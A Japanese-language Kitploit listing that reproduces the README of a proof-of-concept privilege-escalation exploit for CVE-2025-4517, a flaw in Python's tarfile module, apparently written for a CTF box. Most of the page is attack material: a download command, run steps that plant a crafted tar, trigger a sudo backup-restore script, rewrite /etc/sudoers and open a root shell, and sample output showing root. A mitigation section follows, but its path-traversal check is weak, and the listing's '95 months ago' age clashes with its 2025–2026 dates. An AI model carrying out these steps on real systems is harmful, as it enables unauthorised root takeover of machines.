Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-4517-POC — CVE-2025-4517 用の特権昇格スクリプト | Kitploit
ツール/GitHubGitHub/azureadtrent/cve-2025-4517-poc
特権昇格脆弱性分析エクスプロイトCTF学習と教育バイナリエクスプロイト
GitHubazureadtrent/cve-2025-4517-poc

CVE-2025-4517-POC

CVE-2025-4517 用の特権昇格スクリプト

リポジトリを見る
95ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-4517 エクスプロイト

注意事項

このエクスプロイトと説明はAIによって作成されています。誤りや問題を見つけた場合は、お知らせください!このエクスプロイトはテスト済みで動作確認済みです。ありがとうございます!

概要

このエクスプロイトは、CVE-2025-4517、Pythonのtarfileモジュールの重大な脆弱性を利用します。この脆弱性により、シンボリックリンクのパストラバーサルとハードリンク操作の組み合わせによって任意のファイル書き込みが可能になります。これにより、Python 3.12で導入されたfilter="data"保護がバイパスされます。

脆弱性の詳細

  • CVE ID: CVE-2025-4517
  • 影響を受けるバージョン: Python 3.8.0 ~ 3.13.1
  • CVSSスコア: 9.3 (重大)
  • 影響: 権限昇格を伴う任意のファイル書き込み

技術的背景

この脆弱性は、Pythonのtarfile.extractall()が以下の相互作用を処理する際の欠陥を悪用します。

  1. シンボリックリンク - 抽出ディレクトリの外へのパストラバーサルを作成するために使用
  2. ハードリンク - エスケープしたシンボリックリンクパスを通じてファイルを参照するために使用
  3. フィルターバイパス - filter="data"パラメータは直接的なシンボリックリンクエスケープをブロックするが、ハードリンク手法はこの保護を回避する

攻撃フロー

root@kitploit:~
1. 深いネストされたディレクトリを作成(パス混乱)
   └─ 247文字のディレクトリ名を16レベル繰り返し使用

2. トラバーサル用のシンボリックリンクチェーンを構築
   └─ ディレクトリツリーを上方向に解決するシンボリックリンクを作成

3. ターゲットディレクトリ(/etc)へのエスケープシンボリックリンク
   └─ 最終的なシンボリックリンクは抽出境界外を指す

4. エスケープシンボリックリンクを経由するハードリンクを作成
   └─ ハードリンク: "sudoers_link" → "escape/sudoers" → "/etc/sudoers"

5. ハードリンクに内容を書き込む
   └─ "sudoers_link" への書き込みは実際には /etc/sudoers に書き込まれる

脆弱なコンポーネント

スクリプト: /opt/backup_clients/restore_backup_clients.py

root@kitploit:~
# Vulnerable code snippet
with tarfile.open(backup_path, "r") as tar:
    tar.extractall(path=staging_dir, filter="data")

Sudo権限:

root@kitploit:~
wacky ALL=(root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *

システム詳細

  • Pythonバージョン: 3.12.3(CVE-2025-4517の影響を受ける)

使用方法

前提条件

  • 脆弱なスクリプトに対するsudo権限を持つユーザーアクセス
  • /opt/backup_clients/backups/ への書き込みアクセス
  • 攻撃マシンにPython 3

インストール

root@kitploit:~
# Download the exploit
wget https://raw.githubusercontent.com/AzureADTrent/CVE-2025-4517-POC/refs/heads/main/CVE-2025-4517-POC.py
# Move to target system

基本的な実行

root@kitploit:~
# Run the exploit
./exploit.py

# Or with Python
python3 exploit.py

手動ステップバイステップ

各ステップを手動で実行したい場合:

root@kitploit:~
# 1. Create the exploit tar
python3 exploit.py --create-only

# 2. Deploy to target
cp /tmp/cve_2025_4517_exploit.tar /opt/backup_clients/backups/backup_9999.tar

# 3. Execute via vulnerable script
sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py \
  -b backup_9999.tar \
  -r restore_exploit

# 4. Verify sudoers modification
sudo cat /etc/sudoers | grep "$(whoami)"

# 5. Get root
sudo /bin/bash

出力例

root@kitploit:~
╔═══════════════════════════════════════════════════════════╗
║     CVE-2025-4517 Tarfile Exploit                         ║
║     Privilege Escalation via Symlink + Hardlink Bypass    ║
╚═══════════════════════════════════════════════════════════╝

[*] Target user: wacky
[*] Creating exploit tar for user: wacky
[*] Phase 1: Building nested directory structure...
[*] Phase 2: Creating symlink chain for path traversal...
[*] Phase 3: Creating escape symlink to /etc...
[*] Phase 4: Creating hardlink to /etc/sudoers...
[*] Phase 5: Writing sudoers entry...
[+] Exploit tar created: /tmp/cve_2025_4517_exploit.tar
[*] Deploying exploit to: /opt/backup_clients/backups/backup_9999.tar
[+] Exploit deployed successfully
[*] Triggering extraction via vulnerable script...
[+] Backup: backup_9999.tar
[+] Staging directory: /opt/backup_clients/restored_backups/restore_pwn_9999
[+] Extraction completed in /opt/backup_clients/restored_backups/restore_pwn_9999
[+] Extraction completed
[*] Verifying exploit success...
[+] SUCCESS! User 'wacky' added to sudoers
[+] Entry: wacky ALL=(ALL) NOPASSWD: ALL

============================================================
[+] EXPLOITATION SUCCESSFUL!
[+] User 'wacky' now has full sudo privileges
[+] Get root with: sudo /bin/bash
============================================================

[?] Spawn root shell now? (y/n): y
[*] Spawning root shell...
[*] Run: sudo /bin/bash

root@box:/tmp# whoami
root
root@box:/tmp# id
uid=0(root) gid=0(root) groups=0(root)

概念実証フロー

ステージ1: 初期アクセス

  • ユーザーへのアクセス

ステージ2: 権限昇格(このエクスプロイト)

  • バックアップ復元スクリプトに対するsudo権限を特定
  • CVE-2025-4517の影響を受けるPythonバージョンを認識
  • tarエクスプロイトを展開して /etc/sudoers を変更
  • rootアクセスを取得

緩和策

Python開発者向け

  1. Pythonのアップグレード: Python 3.13.2+ にアップデートするか、セキュリティパッチを適用
root@kitploit:~
   python3 --version  # Check version
  1. 追加の検証: tarの内容に対して厳格な検証を実装
root@kitploit:~
   # Check for suspicious members before extraction
   for member in tar.getmembers():
       if member.islnk() or member.issym():
           raise SecurityError("Symlinks/hardlinks not allowed")
  1. 抽出パスの制限: 抽出されたすべてのファイルが境界内に収まることを確認
root@kitploit:~
   import os
   for member in tar.getmembers():
       member_path = os.path.join(extract_path, member.name)
       if not member_path.startswith(os.path.abspath(extract_path)):
           raise SecurityError("Path traversal detected")

システム管理者向け

  1. sudoアクセスの制限: rootとして実行できるスクリプトを最小限にする
root@kitploit:~
   # Remove or restrict backup script sudo access
   visudo
  1. 入力検証: 処理前にtarアーカイブを検証
root@kitploit:~
   # Check tar contents before extraction
   tar -tzf archive.tar | grep -E '\.\./|^/'
  1. ファイル整合性監視: /etc/sudoers などの重要なファイルを監視
root@kitploit:~
   # Setup AIDE or similar IDS
   aide --check
  1. AppArmor/SELinux: 強制アクセス制御を実装

参考文献

CVE情報

  • CVE-2025-4517 - NVD
  • CVE-2025-4138 - 関連脆弱性
  • Python Security Advisory

研究およびレポート

  • Linux Security Advisory
  • Google Security Research - GHSA-hgqp-3mmf-7h8f

公開PoC

  • DesertDemons CVE-2025-4138-4517-POC
  • StealthByte CVE-2025-4517-poc
  • AnimePrincess420 PoC

法的免責事項

このエクスプロイトは教育目的のみで提供されており、以下の用途での使用を意図しています:

  • 許可されたペネトレーションテストの実施
  • HackTheBoxなどのCapture The Flag(CTF)コンテスト
  • 管理された環境でのセキュリティ研究
  • 脆弱性開示とパッチ開発

著作者は、このコードの誤用に対する一切の責任を負いません。

オリジナル研究: 複数のセキュリティ研究者(参考文献参照)

ライセンス

MITライセンス - 詳細はLICENSEファイルを参照


最終更新日: 2026年3月

ツールをダウンロード